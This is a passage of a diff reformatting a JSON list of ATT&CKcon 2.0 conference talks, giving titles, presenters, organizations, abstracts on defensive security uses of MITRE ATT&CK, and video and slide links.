Priceline then did the heavy lift of ingesting that data, prioritizing shortcomings, and making strategic and tactical decisions to improve their security program. Through the use of ATT&CK, they were able to trace specific lines of effort back to various TTPs. This traceability helped provide support for various decisions as well as facilitated with prioritization. ATT&CK also provided a common taxonomy when working with vendors when gaps in detection were identified. Finally, ATT&CK helped Priceline track improvements through later rounds of testing to help measure the effectiveness of various improvements.", - "video": "https://youtu.be/LydtAdCL114?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-lessons-in-purple-team-testing-with-mitre-attck-daniel-wyleczukstern-praetorian-and-matt-southworth-priceline" - }, { - "title": "ATT&CK Updates – CAR and Analytics", - "presenters": [{ - "names": ["Ivan Kirillov"], - "organization": "MITRE" - }], - "description": "Updates from the ATT&CK Team's very own Ivan Kirillov covering CAR and analytics.", - "video": "https://youtu.be/t6joWR3mqDk?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-mitre-updates-cyber-analytics-repository-car-ivan-kirillov-mitre" - }, { - "title": "Lightning Talk: A Love Song for Heat Maps", - "presenters": [{ - "names": ["Brian Donohue"], - "organization": "Red Canary" - }], - "description": "How do you decide where to allocate your security resources and budget? Maybe you've got seasoned security professionals making decisions based on experience and intuition, maybe your decisions are driven by insurance or compliance requirements, or maybe they're completely arbitrary. Whatever the case, we can all associate ATT&CK techniques and data sources with the events we prevent, detect, or respond to. This talk will explore how security professionals can turn their internal security data into community intelligence that enumerates the threats that occur most often, enabling us all to establish data-based priorities that guide the way we spend our money and time—whether we’re buying, developing, or selling security tools.", - "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=59" - }, { - "title": "Lightning Talk: Operationalize ATT&CK with Boring Dashboards", - "presenters": [{ - "names": ["Dan Cole"], - "organization": "ThreatConnect Inc" - }], - "description": "Vendors often showcase dashboards with 3D rotating globes, animated bar graphs, and enough colors to fill a Crayola 64 pack. In this talk, I'll show how a simple dashboard of dull, boring, non-flashy, inanimate DATATABLES can be used (along with ATT&CK and a decent intel requirements process) to help analysts stay focused.", - "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=366" - }, { - "title": "Lightning Talk: MITRE ATT&CK Maturity Model Mappings from In the Field Observations", - "presenters": [{ - "names": ["Stephan Chenette"], - "organization": "AttackIQ" - }], - "description": "In this lightning talk, I'll present in the field observations of what elements of ATT&CK organizations can put into action at each maturity level of their security program to start or continue to incorporate and operationalize the MITRE ATT&CK framework.", - "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=648" - }, { - "title": "Lightning Talk: ATT&CK Poker", - "presenters": [{ - "names": ["Ivan Ninichuck"], - "organization": "Cyber Knights" - }], - "description": "My talk will be a 5 minute introduction to the concept of applying game theory to our use of Att&ck in predicting adversary actions. I am currently designing a poker style card game along these principles and would like to show off what I have so far.", - "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=956", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-poker-lightning-talk-ivan-ninichuck-cyber-knights" - }, { - "title": "Lightning Talk: Tracking and measuring your ATT&CK coverage with ATT&CK2Jira", - "presenters": [{ - "names": ["Mauricio Velazco"] - }], - "description": "Tracking and measuring coverage against the ATT&CK framework can be a challenging task. This lighting talk will introduce Att&ck2Jira, a tool that leverages Jira and the Att&ck navigator that can help blue teams automate this effort. No more spreadsheets!", - "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=1199", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-tracking-and-measuring-attck-coverage-with-attack2jira-lightning-talk-mauricio-velazco" - }, { - "title": "Lightning Talk: STIX in the Mud", - "presenters": [{ - "names": ["Bryson Bort"], - "organization": "SCYTHE" - }], - "description": "CTI today = static solutions of yesterday. STIX currently adequately supports today’s requirements. What is if we could operationalize attacks (ATT&CK) with it?", - "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=1483", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-stix-in-the-mud-lightning-talk-bryson-bort-scythe-193684762" - }, { - "title": "Lightning Talk: ATT&CK, Intelligence, and Micro-Purple Teaming", - "presenters": [{ - "names": ["Emma MacMullan"], - "organization": "Federal Reserve" - }], - "description": "Intel-driven Purple Teaming can enhance simulated attacks by using ATT&CK to create real-time tactical information on current threat actor behaviors, as well as validate existing detections and identify gaps in coverage. This lightning talk will be a snapshot into an ad-hoc side project that showed you don’t need a big report or a lot of man hours to ask some interesting questions; you just need a little spontaneity, a single TTP, and of course, ATT&CK.", - "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=1796" - }, { - "title": "Lightning Talk: #GuardrailsoftheGalaxy: The Prologue", - "presenters": [{ - "names": ["Nick Carr"], - "organization": "FireEye" - }], - "description": "Providing a quick survey of execution guardrails, environmental keying, and announcing the 2019 nominees for best in-the-wild adversary use of guardrailing.", - "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=2098" - }, { - "title": "ATT&CK Updates – PRE Integration", - "presenters": [{ - "names": ["Adam Pennington"], - "organization": "MITRE" - }], - "description": "Updates from the ATT&CK Team's very own Adam Pennington covering PRE-ATT&CK integration.", - "video": "https://youtu.be/fEYL0MDvc44?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-pre-attck-integration-adam-pennington-mitre" - }, - { - "title": "Closing Remarks", - "presenters": [{ - "names": ["Katie Nickels", "Blake Strom"], - "organization": "MITRE" - }], - "description": "ATT&CK Threat Intelligence Lead Katie Nickels and ATT&CK Lead Blake Strom wrap up the conference and share the results of the ATT&CKcon 2.0 Birds of a Feather sessions.", - "video": "https://youtu.be/mDKBEsuZvh4?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk" - } + { + "title": "Welcome", + "presenters": [ + { + "names": [ + "Katie Nickels" + ], + "organization": "MITRE" + } + ], + "description": "ATT&CK Threat Intelligence Lead Katie Nickels welcomes attendees and introduces the members of the ATT&CK team.", + "video": "https://youtu.be/Xkzv53j39ug?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk" + }, + { + "title": "The Friends We Made Along the Way, Keynote Address", + "presenters": [ + { + "names": [ + "Toni Gidwani" + ], + "organization": "Google" + } + ], + "description": "In the keynote from ATT&CKcon 2.0, Toni Gidwani from Google’s Threat Analysis Group presents \"The Friends We Made Along the Way.\" The talk focuses on the purpose of intelligence, to create a decision advantage, and the partnerships that are necessary to achieve that purpose.", + "video": "https://youtu.be/ba5jh8uhTBU?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-keynote-address-the-friends-we-made-along-the-way-toni-gidwani-google" + }, + { + "title": "State of the ATT&CK", + "presenters": [ + { + "names": [ + "Blake Strom" + ], + "organization": "MITRE" + } + ], + "description": "MITRE ATT&CK Lead Blake Strom updates the community on what’s new in ATT&CK since ATT&CKcon 2018 and some of what to expect in the coming year. This talk includes details on ATT&CK for Cloud, the new Impact Tactic, structured mitigations, and the upcoming shift to sub-techniques.", + "video": "https://youtu.be/qAPC4NVJvrI?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-state-of-the-attck-blake-strom-mitre-193680470" + }, + { + "title": "Using Threat Intelligence to Focus ATT&CK Activities", + "presenters": [ + { + "names": [ + "David Westin", + "Andy Kettell" + ], + "organization": "Nationwide" + } + ], + "description": "In October 2018, Nationwide began its MITRE ATT&CK journey. Nationwide looked at a number of different approaches to getting started, but it wasn’t until they prioritized efforts based on threat actors likely to target the finance/insurance industry that things started to click. Ultimately, Nationwide focused on 27 high concern threat actors targeting their industry, reducing the overall number of techniques from 240+ to 91. With this manageable chunk of techniques, Nationwide was able to test, analyze, and provide recommendations for improving its detection and mitigation capabilities. Nationwide is continuing to keep threat actor focus at the heart of its ATT&CK efforts, leading to prioritization of remediation actions, integration into penetration testing, and selection of security tools.", + "video": "https://youtu.be/V--wxuSEMD0?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-using-threat-intelligence-to-focus-attck-activities-david-westin-and-andy-kettell-nationwide" + }, + { + "title": "Prioritizing ATT&CK Informed Defenses the CIS Way", + "presenters": [ + { + "names": [ + "Philippe Langlois" + ], + "organization": "Verizon DBIR" + }, + { + "names": [ + "Joshua Franklin" + ], + "organization": "Center for Internet Security" + } + ], + "description": "In a world of limited resources, organizations have to be strategic and meticulous in their planning and selection of security controls and the MITRE ATT&CK model has become an important piece for categorizing and understanding adversary techniques and contextualizing our own defenses. However, there still underlies a difficult question, where should organizations start and how should they prioritize their cybersecurity efforts? Join CIS as we explore our attempt to tackle this problem through the use of our community, content and real-world threat data collected as part of the Multi-State Information Sharing and Analysis Center (MS-ISAC). Participants should look forward to learning how to prioritize their security efforts and leverage the process for their own data and threats.", + "video": "https://youtu.be/pHUnuNb6gGs?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-prioritizing-attck-informed-defenses-the-cis-way-philippe-langlois-verizon-and-joshua-franklin-cis" + }, + { + "title": "Alertable Techniques for Linux using ATT&CK", + "presenters": [ + { + "names": [ + "Tony Lambert" + ], + "organization": "Red Canary" + } + ], + "description": "Community members continually ask, should I have detection capabilities across every technique in ATT&CK? This question inevitably leads to the same conclusion that not every technique is alertable and not all of them provide the same value for immediate detection. In this session we’ll discuss the concept of alertable detections using Linux ATT&CK techniques as a case study. We’ll introduce decision criteria we’ve learned through experience to illustrate the challenges, and we’ll recommend specific techniques that work well with an alert-driven workflow.", + "video": "https://youtu.be/7X6Pjtx4Y8M?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-alertable-techniques-for-linux-using-attck-tony-lambert-red-canary-193702628" + }, + { + "title": "ATT&CK Updates – TRAM", + "presenters": [ + { + "names": [ + "Jackie Lasky", + "Sarah Yoder" + ], + "organization": "MITRE" + } + ], + "description": "Updates from the ATT&CK Team's very own Jackie Lasky and Sarah Yoder covering Threat Report ATT&CK Mapping (TRAM).", + "video": "https://youtu.be/jVkMd9mAE-U?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-tram-jackie-lasky-and-sarah-yoder-mitre-193677940" + }, + { + "title": "Raiders of the MITRE Framework: How to Build Your Own Threat Library", + "presenters": [ + { + "names": [ + "Valentina Palacin", + "Ruth Esmeralda Barbacil" + ], + "organization": "Deloitte" + } + ], + "description": "It's the year 2019 and the internet has been around long enough to be filled with what seems to be \"ancient\" data. Digging through, classifying and analyzing everything sometimes makes you feel a lot like Indiana Jones searching for the right clues in a moving puzzle. But how could you move through the caves without getting buried under piles of data rubble? How might anyone revisit and study the data from the past to transform it into actionable information for the present? In this talk we are going to show you how a threat intel Indiana Jones analyst should tackle these issues in order to find the treasure of the Threat Library. We will show you how we used the MITRE ATT&CK Framework as our book of secrets for turning dusty old Internet artifacts into a library of actionable Threat Intelligence.", + "video": "https://youtu.be/AsSAsBdkns0?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-raiders-of-the-mitre-framework-how-to-build-your-own-threat-library-valentina-palacin-and-ruth-esmerelda-barbacil-deloitte" + }, + { + "title": "Climbing the ATT&CK Ladder: How a Threat Hunting Team Has Upgraded Its Use of ATT&CK", + "presenters": [ + { + "names": [ + "Karl Scheuerman", + "Piotr Wojtyla" + ], + "organization": "CrowdStrike" + } + ], + "description": "CrowdStrike’s OverWatch threat hunting team has continued to mature in its use of the ATT&CK framework to categorize and track targeted adversary behavior. This presentation will build on our talk from last year’s ATT&CKcon, where we shared tactic/technique trends and unique examples observed in the wild. Since that time, we have taken a number of steps to enhance our usage of ATT&CK, including:
By using practices like those outlined above, we have been able to continue building what is likely the most comprehensive and detailed library of targeted intrusion data from the wild that is mapped to ATT&CK. As such, the presentation will also share significant trends and techniques from the intrusions we’ve analyzed over the past year.", + "video": "https://youtu.be/hAsKp43AZmM?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk" + }, + { + "title": "From Susceptible to ATT&CK: A Threat Hunting Story", + "presenters": [ + { + "names": [ + "Chris Thayer" + ], + "organization": "Mastercard" + } + ], + "description": "The story of one man's crusade to convince the Senior Management of a fortune 500 company that security resources were needed beyond the perimeter, and the role ATT&CK played in those decisions. This talk documents the creation and persuasion required to create a successful threat hunting program at an enterprise level, and how the Mitre ATT&CK framework made this possible for one investigator, in his spare time, to prove the program's worth to senior management within 1 year of creation.", + "video": "https://youtu.be/bWB6qWoFT_M?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-from-susceptible-to-attck-a-threat-hunting-story-chris-thayer-mastercard-193701967" + }, + { + "title": "ATT&CK Updates – Sightings", + "presenters": [ + { + "names": [ + "John Wunder" + ], + "organization": "MITRE" + } + ], + "description": "Updates from the ATT&CK Team's very own John Wunder covering ATT&CK Sightings.", + "video": "https://youtu.be/OKx9f7QrFBQ?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-sightings-john-wunder-mitre-193678381" + }, + { + "title": "Zeek-based ATT&CK Metrics & Gap Analysis", + "presenters": [ + { + "names": [ + "Allan Thomson" + ], + "organization": "LookingGlass Cyber Solutions" + } + ], + "description": "Today many organizations are using Bro (newly named Zeek) for network security monitor as it provides a powerful network analysis framework. This presentation will describe how to leverage Zeek to report on ATT&CK TTPs, raw events and other detectable activities. Key take-aways include how to report on sightings and occurrences of ATT&CK TTPs and events providing both metrics and gap analysis to inform security operations teams on where their defense may require improvement.", + "video": "https://youtu.be/roO5ZMxYDRM?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-zeekbased-attck-metrics-and-gap-analysis-allan-thomson-looklingglass-cyber-solutions" + }, + { + "title": "attckr: A Toolkit for Analysis & Visualization of ATT&CK Incident Data for Service Providers & Organizations", + "presenters": [ + { + "names": [ + "Bob Rudis" + ], + "organization": "Rapid7" + } + ], + "description": "The ATT&CK framework provides a standardized way for organizations to record and share attacker techniques used at each stage in attacker campaigns. Having and sharing this discrete, normalized attacker behavior is great, but these normalized bundles of incident events can also be used to identify areas of improvement in both incident response teams as well as by vendors who provide tools/solutions to triage and manage incidents.
This talk will introduce {attckr}: an R package and application that provides programmatic, command-line, and interactive tools to analyze and visualize incident ATT&CK metrics. Attendees will see real-life (i.e. using real, anonymized incident data) examples of how to look across an ATT&CK incident corpus to identify trends (or outliers), support the development of ATT&CK incident baseline metrics, and develop reports and visualizations to assist in communicating operational performance, threat event frequency & type distributions for risk analysis, and identification of strengths and weaknesses in detection capability.", + "video": "https://www.youtube.com/watch?v=iayII8CCGUI&list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&index=18&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attckr-a-toolkit-for-analysis-and-visualization-of-attck-incident-data-for-service-providers-and-organizations-bob-rudis-rapid7" + }, + { + "title": "MITRE ATT&CK Assessment from a Data Perspective", + "presenters": [ + { + "names": [ + "Olaf Hartong" + ], + "organization": "Deloitte" + } + ], + "description": "MITRE ATT&CK has quickly become the industry standard for referencing techniques. All though the framework is a great and valuable asset it is still lacking actionable detail on may levels to most people. I've bridged that gap by building a relatively simple assessment toolkit to visualize your potential coverage from the data already present in your environment, your mitigative measures and your detection content. The toolkit will help you focus your efforts based on your data and your goal.", + "video": "https://youtu.be/vTvUrY7jE5k?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-coverage-assessment-from-a-data-perspective-olaf-hartong-deloitte-193702186" + }, + { + "title": "Threat-Informed Defense: Where do we go from here?", + "presenters": [ + { + "names": [ + "Richard Struse" + ], + "organization": "MITRE" + } + ], + "description": "Richard Struse explores the concept of a threat-informed defense and talks about ways of moving the cyber security community forward.", + "video": "https://youtu.be/IKogtrsN214?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-threat-informed-defense-where-do-we-go-from-here-richard-struse-mitre" + }, + { + "title": "AMITT: ATT&CK-based Standards for Misinformation Threat Sharing", + "presenters": [ + { + "names": [ + "Sara-Jayne Terp", + "John Gray" + ], + "organization": "Credibility Coalition MisinfoSec Working Group" + } + ], + "description": "State actors, private influence operators and grassroots groups are exploiting the openness and reach of the Internet to manipulate populations at a distance. They are extending a decades-long struggle for “hearts and minds” via propaganda, influence operations and information warfare, often in the form of coordinated incidents that are part of longer-timescale narrative-based campaigns.
The Credibility Coalition is an interdisciplinary community committed to addressing the proliferation and amplification of misinformation online, through transparent and collaborative research. Its MisinfoSec working group develops information security-based standards to promote a more formal and rigorous treatment of 1) detecting misinformation-based attacks and 2) devising methods to protect against misinformation-based attacks. Specifically, we have adapted and extended frameworks used to describe information security incidents, for use in ISACs, ISAOs and other groups sharing misinformation threats and responses.
In this talk, we discuss misinformation and why stage-based frameworks like ATT&CK are appropriate for it. We describe the AMITT (Adversarial Misinformation and Influence Tactics and Techniques) misinformation response framework and its roots in and deliberate compatibility with ATT&CK, its creation, relationships with other models, its components (including ways, means, and ends to achieve influence goals) and potential uses.", + "video": "https://youtu.be/vIxqd0Qt_D8?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-amitt-attckbased-standards-for-misinformation-threat-sharing-sara-terp-and-john-gray-credibility-coalition-193687162" + }, + { + "title": "Flashback with ATT&CK: Exploring Malware History with ATT&CK (2003-2018)", + "presenters": [ + { + "names": [ + "Kris Oosthoek" + ], + "organization": "Delft University of Technology" + } + ], + "description": "Attackers keep innovating their TTPs to circumvent established defenses, so gaining insight into attacker innovation is fundamental. Our Twitter feeds are saturated with helpful reports daily, but how does this relate to trends and developments within the threat ecosystem as a whole? Take a step back, relax and get an ATT&CK-based overview of 15 years TTP evolution to inform your defense.
This presentation will discuss ATT&CK techniques found in 950+ unique Windows malware families as part of an academic research project. With the malware harvested from an unbiased and reputable source, a representative view on 15 years of evolution in the malware field is ensured. For each ATT&CK tactic, the talk provides insight into trends and shifts in real-world adversary behavior. It will also highlight how a malware analysis automation pipeline can introduce biases into your CTI and based on that, best practices on how ATT&CK can be used to ensure CTI accuracy. This entertaining presentation provides practical takeaways that inform and help prioritize your threat defense.", + "video": "https://youtu.be/v5CoPkeVQCI?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-flashback-with-attck-exploring-malware-history-with-attck-20032018-kris-oosthoek-delft-university" + }, + { + "title": "Tell Tall Tales With ATT&CK!", + "presenters": [ + { + "names": [ + "James Lerud" + ], + "organization": "Titania Solutions Group" + } + ], + "description": "Once upon a time there was a security expert with all kinds of ATT&CK data. There were Atomic tests, breach simulations, and metrics abound! Our hero knew he could mold the data to illustrate a story of triumph. He would deliver magnificent slides and graphs with color and shape that, even the dull c-suite would know he was great. This presentation will teach the audience how to torture ATT&CK data until it confesses. Manipulation of ordinal scales, dirty data, playing into biases, nothing is off limits if it makes us look good. Follow the advice here and you will be ready to tell tall tales with ATT&CK… or for the true hearted tell boring realistic stories.", + "video": "https://youtu.be/XVGXfFcUvYc?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-tell-tall-tales-with-attck-james-lerud-titania-solutions-group-193686781" + }, + { + "title": "ATT&CK Updates – ICS", + "presenters": [ + { + "names": [ + "Otis Alexander" + ], + "organization": "MITRE" + } + ], + "description": "Updates from the ATT&CK Team's very own Otis Alexander covering ATT&CK for ICS.", + "video": "https://youtu.be/a9-p4tMsp14?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-ics-otis-alexander-mitre-193601017" + }, + { + "title": "Ready to ATT&CK? Bring Your Own Data (BYOD) and Validate Your Data Analytics!", + "presenters": [ + { + "names": [ + "Roberto Rodriguez" + ], + "organization": "Cybersecurity Specialist" + }, + { + "names": [ + "Jose Luis Rodriguez" + ], + "organization": "Student" + } + ], + "description": "\"How do we collect the right data for the detection of specific adversarial techniques?\" That is a very important and common question for organizations planning on leveraging ATT&CK for their defensive strategy. One approach might be reading the data sources metadata available per each technique in the ATT&CK framework. That is a good first step, and it is already helping organizations to integrate the framework with their current security controls. However, as you go deeper into the specific recommended data sources per technique, it is very important to understand that not every technique variation requires the same data sources. In addition, there needs to be a way to validate if what we are collecting aligns with the data analytics being created. In this talk, we will share our current experiences contributing to the \"Data Sources\" section of ATT&CK framework and the Cyber Analytics Repository (CAR) project. We will show how to use pre-captured datasets from our open source project named Mordor to expedite simulation of adversarial techniques and validation of data analytics. In addition, we will show how we leverage Jupyter Notebooks to develop and test data analytics from projects like CAR to finish the validation process and provide recommendations.", + "video": "https://youtu.be/eM0c_Gil-38?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-ready-to-attck-bring-your-own-data-byod-and-validate-your-data-analytics-roberto-rodriguez-aws-and-jose-rodriguez-nvcc" + }, + { + "title": "Prioritizing Data Sources for Minimum Viable Detection", + "presenters": [ + { + "names": [ + "Keith McCammon" + ], + "organization": "Red Canary" + } + ], + "description": "MITRE ATT&CK® is more than a glossary of security terminology that offers us a common language to communicate about threats. While each technique includes a description, it also includes a list of the requisite data sources necessary to observe an adversary leveraging that technique—transforming ATT&CK from a nebulous collection of definitions into a practical tool for improving detection coverage. However, in the same way that you can’t simply build alerts for every technique, you can’t gain access to every data source. How do you effectively prioritize data sources so that you are getting the best returns on your visibility investments?", + "video": "https://youtu.be/dnHdxlwqgME?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-prioritizing-data-sources-for-minimum-viable-detection-keith-mccammon-red-canary-193703088" + }, + { + "title": "ATT&CK Updates – Controls Mapping", + "presenters": [ + { + "names": [ + "Mike Long" + ], + "organization": "MITRE" + } + ], + "description": "Updates from the ATT&CK Team's very own Mike Long covering controls mapping.", + "video": "https://youtu.be/mdGWojl0Ay8?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-controls-mapping-mike-long-mitre" + }, + { + "title": "The World’s Most Dangerous ATT&CKers", + "presenters": [ + { + "names": [ + "Robert Lipovský" + ], + "organization": "ESET" + } + ], + "description": "As a research-oriented cybersecurity company that regularly discloses detailed analyses of cyberattacks to clients and/or the public, the introduction of MITRE ATT&CK as a common language to describe adversary techniques and tactics was certainly welcome.
We’ll begin our presentation by introducing exactly how and why we started using ATT&CK, providing examples of mappings in our research publications, as well as the role it plays in enhancing our EDR solutions. We’ll also describe our experience with contributing to the ATT&CK knowledge base.
The main part of the talk will be example-driven. Having played a key role in analyzing some of the most significant cyberattacks in history, we’ll go over the most interesting tactics, techniques, and procedures (TTPs) of the adversaries, mapping them to ATT&CK.
Specifically, we’ll analyze the TTPs of Sednit (a.k.a. APT28), the group reportedly responsible for the Democratic National Committee hack that affected the US 2016 elections, and Telebots (a.k.a. Sandworm), the group behind the first malware-driven electricity blackouts (BlackEnergy and Industroyer) and, the most damaging cyberattack ever (NotPetya).
Finally, we’ll conclude with our analysis of the current threat landscape and trends, and highlight how we anticipate it will shape ATT&CK going forward.", + "video": "https://youtu.be/z47g13s2xVA?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-the-worlds-most-dangerous-attckers-robert-lipovsky-eset-193701776" + }, + { + "title": "Lessons in Purple Teaming with ATT&CK", + "presenters": [ + { + "names": [ + "Daniel Wyleczuk-Stern" + ], + "organization": "Praetorian" + }, + { + "names": [ + "Matt Southworth" + ], + "organization": "Priceline, Booking Holdings" + } + ], + "description": "For the past year, Praetorian and Priceline have been working together to conduct a series of Purple Team exercises to improve Priceline’s Detection and Response. These exercises utilized tactics, techniques, and procedures (TTPs) from the MITRE ATT&CK framework to baseline Priceline’s telemetry and analysis capabilities. Praetorian leveraged their recently released Metasploit Framework fork to rapidly automate basic TTPs before working cooperatively with Priceline for more advanced tests.
Priceline then did the heavy lift of ingesting that data, prioritizing shortcomings, and making strategic and tactical decisions to improve their security program. Through the use of ATT&CK, they were able to trace specific lines of effort back to various TTPs. This traceability helped provide support for various decisions as well as facilitated with prioritization. ATT&CK also provided a common taxonomy when working with vendors when gaps in detection were identified. Finally, ATT&CK helped Priceline track improvements through later rounds of testing to help measure the effectiveness of various improvements.",
+ "video": "https://youtu.be/LydtAdCL114?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-lessons-in-purple-team-testing-with-mitre-attck-daniel-wyleczukstern-praetorian-and-matt-southworth-priceline"
+ },
+ {
+ "title": "ATT&CK Updates – CAR and Analytics",
+ "presenters": [
+ {
+ "names": [
+ "Ivan Kirillov"
+ ],
+ "organization": "MITRE"
+ }
+ ],
+ "description": "Updates from the ATT&CK Team's very own Ivan Kirillov covering CAR and analytics.",
+ "video": "https://youtu.be/t6joWR3mqDk?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-mitre-updates-cyber-analytics-repository-car-ivan-kirillov-mitre"
+ },
+ {
+ "title": "Lightning Talk: A Love Song for Heat Maps",
+ "presenters": [
+ {
+ "names": [
+ "Brian Donohue"
+ ],
+ "organization": "Red Canary"
+ }
+ ],
+ "description": "How do you decide where to allocate your security resources and budget? Maybe you've got seasoned security professionals making decisions based on experience and intuition, maybe your decisions are driven by insurance or compliance requirements, or maybe they're completely arbitrary. Whatever the case, we can all associate ATT&CK techniques and data sources with the events we prevent, detect, or respond to. This talk will explore how security professionals can turn their internal security data into community intelligence that enumerates the threats that occur most often, enabling us all to establish data-based priorities that guide the way we spend our money and time—whether we’re buying, developing, or selling security tools.",
+ "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=59"
+ },
+ {
+ "title": "Lightning Talk: Operationalize ATT&CK with Boring Dashboards",
+ "presenters": [
+ {
+ "names": [
+ "Dan Cole"
+ ],
+ "organization": "ThreatConnect Inc"
+ }
+ ],
+ "description": "Vendors often showcase dashboards with 3D rotating globes, animated bar graphs, and enough colors to fill a Crayola 64 pack. In this talk, I'll show how a simple dashboard of dull, boring, non-flashy, inanimate DATATABLES can be used (along with ATT&CK and a decent intel requirements process) to help analysts stay focused.",
+ "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=366"
+ },
+ {
+ "title": "Lightning Talk: MITRE ATT&CK Maturity Model Mappings from In the Field Observations",
+ "presenters": [
+ {
+ "names": [
+ "Stephan Chenette"
+ ],
+ "organization": "AttackIQ"
+ }
+ ],
+ "description": "In this lightning talk, I'll present in the field observations of what elements of ATT&CK organizations can put into action at each maturity level of their security program to start or continue to incorporate and operationalize the MITRE ATT&CK framework.",
+ "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=648"
+ },
+ {
+ "title": "Lightning Talk: ATT&CK Poker",
+ "presenters": [
+ {
+ "names": [
+ "Ivan Ninichuck"
+ ],
+ "organization": "Cyber Knights"
+ }
+ ],
+ "description": "My talk will be a 5 minute introduction to the concept of applying game theory to our use of Att&ck in predicting adversary actions. I am currently designing a poker style card game along these principles and would like to show off what I have so far.",
+ "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=956",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-poker-lightning-talk-ivan-ninichuck-cyber-knights"
+ },
+ {
+ "title": "Lightning Talk: Tracking and measuring your ATT&CK coverage with ATT&CK2Jira",
+ "presenters": [
+ {
+ "names": [
+ "Mauricio Velazco"
+ ]
+ }
+ ],
+ "description": "Tracking and measuring coverage against the ATT&CK framework can be a challenging task. This lighting talk will introduce Att&ck2Jira, a tool that leverages Jira and the Att&ck navigator that can help blue teams automate this effort. No more spreadsheets!",
+ "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=1199",
